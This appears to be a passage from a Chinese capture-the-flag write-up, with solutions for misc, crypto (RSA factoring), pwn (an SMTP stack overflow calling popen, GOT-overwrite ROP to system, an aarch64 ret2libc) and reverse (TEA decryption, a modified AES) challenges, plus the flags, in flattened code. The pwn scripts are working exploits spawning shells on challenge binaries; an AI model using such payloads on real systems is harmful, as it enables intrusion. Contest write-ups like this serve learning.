            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:37*37].reshape(37,37)

plt.imshow(r)

plt.show()


4xqhdt53o1y15448.png

flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}

二、crypto

1.题目名称:strange_rsa1

将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可n =108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c =23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift =0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938from Crypto.Util.number import *n=RealField(prec=512*2)(n)p1=n/giftprint(int(p1))from gmpy2 import *p=iroot(int(p1),2)[0]print(p)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034368import sympyfrom Crypto.Util.number import *import gmpy2floating_rng=500000for i in range(p-floating_rng, p+floating_rng):q = divmod(n,i)if q[1]==0:print("p 等于: ",i)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369q=n//pd=invert(65537,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#flag{a5537b232c1ab750e0db61ec352504a301b7b212}

三、pwn

1.题目名称:smtp

协议逆向,可知 sender_worker 有栈溢出#!/usr/bin/env python3from re import searchfrom pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcp = remote('127.0.0.1',9999)p.sendafter('220 SMTP tsmtp\n','HELOfxxk')p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")p.sendafter("250 Ok\n",b"RCPT TO:" + flat({0x100:[0x804d1d0,'a'*0xc,elf.plt.popen,'dead',0x804d140,elf.search(b'r\x00').__next__()]},length=0x200))p.sendafter('250 Ok\n','DATA')p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")p.interactive()p.close()

2.题目名称:note

菜单的逻辑,但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。
#!/usr/bin/env python3from pwncli import *cli_script()io:tube = gift["io"]elf:ELF = gift["elf"]libc:ELF = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugcontext.arch = 'amd64‘if gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcdef cmd(idx):sla('leave',str(idx))#0 ~ 0x1ffdef add(size,cont):cmd(1)sla('Size:',str(size))sla('Content:',str(cont))def show(idx):cmd(2)sla('Index:',str(idx))def edit(idx,cont):cmd(3)sla('Index:',str(idx))sa('Content:',(cont))def free(idx):cmd(4)sla('Index:',str(idx))gdb.attach(io,'b *0x401579')sleep(1)CurrentGadgets.set_find_area(1,0)edit(-4,flat({8:[CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),CurrentGadgets.pop_rdi_ret(),elf.bss(0x100),CurrentGadgets.ret(),elf.plt.puts]}))io.interactive()

3.题目名称:捉迷藏

简单的利用一下 angr 就行
import angrimport sysproj = angr.Project("pwn", auto_load_libs=False)state = proj.factory.blank_state(addr=0x4076BD)simu = proj.factory.simgr(state)simu.explore(find=0x4079C6, avoid=0x407A43)if simu.found:print("find!")solution = simu.found[0]key = solution.posix.dumps(sys.stdin.fileno())print(key)#get :'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libc
filename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugsa('sbAmJLMLWm:',"a "*8)sa('HuEqdjYtuWo:','a'*0x33)#sa('tfAxpqDQuTCyJw:','a'*8)sa('hbsoMdIRWpYRqvfClb:','a'*0x35)sa('tfAxpqDQuTCyJw:','a'*0x22)sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')sa('gRGKqIlcuj:',flat({0xf + 8:[0x401334]},length=0x37))io.interactive()

4.题目名称:ret2libc_aarch64

正如题目字面意思, ret2libc,不过是 aarch64
#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef leak(addr: int):sla(">", "1")sa("sensible>>\n", p64_ex(addr))return rl()def pwn(data):sla(">", "2")sla("sensible>>\n", data)msg = leak(elf.got.read)read_addr = (0x4000 << 24) + u64_ex(msg[:-1])log_address("read_addr", read_addr)lb = read_addr - 0x00000000000c3b40# 0x00128e80 binsh# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;# 0000000000040578 systemlog_address("target gadget", lb + 0x63e5c)data = flat({136: [lb + 0x63e5c,[lb + 0x000000000040578] * 5,lb + 0x00128e80,[lb + 0x000000000040578] * 5]})pwn(data)ia()

三、reverse

1.题目名称:small

以二进制文件形式,在 ida 中打开10wd3miklhi15451.jpg在适当的地址处,按 c 转成汇编代码,分析出是 TEA 加密, delta 和密钥均已知aifc4usj2ah15455.jpg在字符串”good”后找到密文ig4gzn3dj1u15458.jpg解密 TEA 即可得到 flag#include <stdio.h>#include <stdint.h>//加密函数void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum = 0, i;uint32_t delta = 0x67452301;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i < num_rounds; i++) {sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}v[0] = v0; v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i;uint32_t delta = 0x67452301,sum = delta*num_rounds;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i<num_rounds; i++) {v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0; v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t * v,int n,bool hex_or_chr){if(hex_or_chr){for(int i=0;i<n;i++){printf("0x%x,",v[i]);}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("\n");return;}int main(){// v 为要加解密的数据uint32_t v[] ={ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0x51dc88fb };// k 为加解密密钥, 4 个 32 位无符号整数,密钥长度为 128 位uint32_t k[4] = { 0x01,0x23,0x45,0x67 };// num_rounds,建议取值为 32unsigned int r = 35;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据: ");dump_data(v,n,1);for(int i=0;i<n/2;i++){encrypt(r,&v[i*2], k);}printf("加密后密文数据: ");dump_data(v,n,1);*/for(int i=0;i<n/2;i++){decrypt(r,&v[i*2], k);}printf("解密后明文数据: ");dump_data(v,n,1);printf("解密后明文字符: ");dump_data(v,n,0);return 0;}// flag{327a6c4304ad5938eaf0efb6cc3e53dc}

2.题目名称:static

aes.c:
#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
void hexdump(void *pdata, int size) {  const uint8_t *p = (const uint8_t *)pdata;  int count = size / 16;  int rem = size % 16;
  for (int r = 0; r <= count; r++) {    int k = (r == count) ? rem : 16;    if (r)      printf("\n");    for (int i = 0; i < 16; i++) {      if (i < k)        printf("%02X ", p[i]);      else        printf("   ");    }    printf(" ");    for (int i = 0; i < k; i++) {      printf("%c", isprint(p[i]) ? p[i] : '.');    }    p += 0x10;  }  printf("\n");}
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBCmode. Block size can be chosen in aes.h - available choices are AES128, AES192,AES256.
The implementation is verified against the test vectors in:  National Institute of Standards and Technology Special Publication 800-38A2001 ED
ECB-AES128----------
  plain-text:    6bc1bee22e409f96e93d7e117393172a    ae2d8a571e03ac9c9eb76fac45af8e51    30c81c46a35ce411e5fbc1191a0a52ef    f69f2445df4f9b17ad2b417be66c3710
  key:    2b7e151628aed2a6abf7158809cf4f3c
  resulting cipher    3ad77bb40d7a3660a89ecaf32466ef97    f5d3d58503b9699de785895a96fdbaaf    43b1cd7f598ece23881b00e3ed030688    7b0c785e27e8ad3f8223207104725dd4

NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)        You should pad the end of the string with zeros if this is not the case.        For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************//* Includes:                                                                 *//*****************************************************************************/#include "aes.h"#include <string.h> // CBC mode, for memset
/*****************************************************************************//* Defines:                                                                  *//*****************************************************************************/// The number of columns comprising a state in AES. This is a constant in AES.// Value=4#define Nb 4
#if defined(AES256) && (AES256 == 1)#define Nk 8#define Nr 14#elif defined(AES192) && (AES192 == 1)#define Nk 6#define Nr 12#else#define Nk 4  // The number of 32 bit words in a key.#define Nr 10 // The number of rounds in AES Cipher.#endif
// jcallan@github points out that declaring Multiply as a function// reduces code size considerably with the Keil ARM compiler.// See this link for more information:// https://github.com/kokke/tiny-AES-C/pull/3#ifndef MULTIPLY_AS_A_FUNCTION#define MULTIPLY_AS_A_FUNCTION 0#endif
/*****************************************************************************//* Private variables:                                                        *//*****************************************************************************/// state - array holding the intermediate results during decryption.typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage// instead of RAM The numbers below can be computed dynamically trading ROM for// RAM - This can be useful in (embedded) bootloader applications, where ROM is// often limited.static const uint8_t sbox[256] = {    // 0     1    2      3     4    5     6     7      8    9     A      B    C    // D     E     F    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,    0xb0, 0x54, 0xbb, 0x16};
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static const uint8_t rsbox[256] = {    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,    0x55, 0x21, 0x0c, 0x7d};#endif
// The round constant word array, Rcon[i], contains the values given by// x to the power (i-1) being powers of x (x is denoted as {02}) in the field// GF(2^8)static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,                                 0x20, 0x40, 0x80, 0x1b, 0x36};
/* * Jordan Goulder points out in PR #12 * (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of * the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ * https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] * for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to * rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */
/*****************************************************************************//* Private functions:                                                        *//*****************************************************************************//*static uint8_t getSBoxValue(uint8_t num){  return sbox[num];}*/#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each// round to decrypt the states.static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {  unsigned i, j, k;  uint8_t tempa[4]; // Used for the column/row operations
  // The first round key is the key itself.  for (i = 0; i < Nk; ++i) {    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];  }
  // All other round keys are found from the previous round keys.  for (i = Nk; i < Nb * (Nr + 1); ++i) {    {      k = (i - 1) * 4;      tempa[0] = RoundKey[k + 0];      tempa[1] = RoundKey[k + 1];      tempa[2] = RoundKey[k + 2];      tempa[3] = RoundKey[k + 3];    }
    if (i % Nk == 0) {      // This function shifts the 4 bytes in a word to the left once.      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
      // Function RotWord()      {        const uint8_t u8tmp = tempa[0];        tempa[0] = tempa[1];        tempa[1] = tempa[2];        tempa[2] = tempa[3];        tempa[3] = u8tmp;      }
      // SubWord() is a function that takes a four-byte input word and      // applies the S-box to each of the four bytes to produce an output word.
      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }
      tempa[0] = tempa[0] ^ Rcon[i / Nk];    }#if defined(AES256) && (AES256 == 1)    if (i % Nk == 4) {      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }    }#endif    j = i * 4;    k = (i - Nk) * 4;    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];  }}
void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {  KeyExpansion(ctx->RoundKey, key);}#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key,                     const uint8_t *iv) {  KeyExpansion(ctx->RoundKey, key);  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) {  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}#endif
// This function adds the round key to state.// The round key is added to the state by an XOR function.static void AddRoundKey(uint8_t round, state_t *state,                        const uint8_t *RoundKey) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];    }  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void SubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxValue((*state)[j][i]);    }  }}
// The ShiftRows() function shifts the rows in the state to the left.// Each row is shifted with different offset.// Offset = Row number. So the first row is not shifted.static void ShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to left  temp = (*state)[0][1];  (*state)[0][1] = (*state)[1][1];  (*state)[1][1] = (*state)[2][1];  (*state)[2][1] = (*state)[3][1];  (*state)[3][1] = temp;
  // Rotate second row 2 columns to left  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to left  temp = (*state)[0][3];  (*state)[0][3] = (*state)[3][3];  (*state)[3][3] = (*state)[2][3];  (*state)[2][3] = (*state)[1][3];  (*state)[1][3] = temp;}
static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); }
// MixColumns function mixes the columns of the state matrixstatic void MixColumns(state_t *state) {  uint8_t i;  uint8_t Tmp, Tm, t;  for (i = 0; i < 4; ++i) {    t = (*state)[i][0];    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3];    Tm = (*state)[i][0] ^ (*state)[i][1];    Tm = xtime(Tm);    (*state)[i][0] ^= Tm ^ Tmp;
    Tm = (*state)[i][1] ^ (*state)[i][2];    Tm = xtime(Tm);    (*state)[i][1] ^= Tm ^ Tmp;
    Tm = (*state)[i][2] ^ (*state)[i][3];    Tm = xtime(Tm);    (*state)[i][2] ^= Tm ^ Tmp;
    Tm = (*state)[i][3] ^ t;    Tm = xtime(Tm);    (*state)[i][3] ^= Tm ^ Tmp;  }}
// Multiply is used to multiply numbers in the field GF(2^8)// Note: The last call to xtime() is unneeded, but often ends up generating a// smaller binary//       The compiler seems to be able to vectorize the operation better this//       way. See https://github.com/kokke/tiny-AES-c/pull/34#if MULTIPLY_AS_A_FUNCTIONstatic uint8_t Multiply(uint8_t x, uint8_t y) {  return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^          ((y >> 2 & 1) * xtime(xtime(x))) ^          ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^          ((y >> 4 & 1) *           xtime(xtime(xtime(               xtime(x)))))); /* this last call to xtime() can be omitted */}#else#define Multiply(x, y)                                                         \  (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^                                 \   ((y >> 2 & 1) * xtime(xtime(x))) ^                                          \   ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^                                   \   ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)/*static uint8_t getSBoxInvert(uint8_t num){  return rsbox[num];}*/#define getSBoxInvert(num) (rsbox[(num)])
// MixColumns function mixes the columns of the state matrix.// The method used to multiply may be difficult to understand for the// inexperienced. Please use the references to gain more information.static void InvMixColumns(state_t *state) {  int i;  uint8_t a, b, c, d;  for (i = 0; i < 4; ++i) {    a = (*state)[i][0];    b = (*state)[i][1];    c = (*state)[i][2];    d = (*state)[i][3];
    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^                     Multiply(d, 0x09);    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^                     Multiply(d, 0x0d);    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^                     Multiply(d, 0x0b);    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^                     Multiply(d, 0x0e);  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void InvSubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxInvert((*state)[j][i]);    }  }}
static void InvShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to right  temp = (*state)[3][1];  (*state)[3][1] = (*state)[2][1];  (*state)[2][1] = (*state)[1][1];  (*state)[1][1] = (*state)[0][1];  (*state)[0][1] = temp;
  // Rotate second row 2 columns to right  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to right  temp = (*state)[0][3];  (*state)[0][3] = (*state)[1][3];  (*state)[1][3] = (*state)[2][3];  (*state)[2][3] = (*state)[3][3];  (*state)[3][3] = temp;}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
void swap_xxx(state_t *state) {  for (int j = 0; j < 4; j++) {    uint8_t a = (*state)[j][0];    uint8_t b = (*state)[j][1];    uint8_t c = (*state)[j][2];    uint8_t d = (*state)[j][3];    (*state)[j][3] = a;    (*state)[j][2] = b;    (*state)[j][1] = c;    (*state)[j][0] = d;  }}
// Cipher is the main function that encrypts the PlainText.static void Cipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  // Add the First round key to the state before starting the rounds.  AddRoundKey(0, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without MixColumns()  for (round = 1;; ++round) {    if (round != Nr) {      swap_xxx(state);    }    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    SubBytes(state);    ShiftRows(state);    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;      break;    }
    MixColumns(state);
    swap_xxx(state);    AddRoundKey(round, state, RoundKey);
    hexdump((*state), sizeof(*state));  }  hexdump(*state, sizeof(*state));  // Add round key to last round  AddRoundKey(Nr, state, RoundKey);  swap_xxx(state);}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static void InvCipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  swap_xxx(state);  // Add the First round key to the state before starting the rounds.  AddRoundKey(Nr, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without InvMixColumn()  for (round = (Nr - 1);; --round) {    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;    }    InvShiftRows(state);    InvSubBytes(state);    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    if (round != (Nr - 1)) {      swap_xxx(state);    }    AddRoundKey(round, state, RoundKey);    if (round == 0) {      break;    }    swap_xxx(state);    InvMixColumns(state);  }}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************//* Public functions:                                                         *//*****************************************************************************/#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call encrypts the PlainText with the Key using AES  // algorithm.  Cipher((state_t *)buf, ctx->RoundKey);}
void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call decrypts the PlainText with the Key using AES  // algorithm.  InvCipher((state_t *)buf, ctx->RoundKey);}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t *buf, const uint8_t *Iv) {  uint8_t i;  for (i = 0; i < AES_BLOCKLEN;       ++i) // The block in AES is always 128bit no matter the key size  {    buf[i] ^= Iv[i];  }}
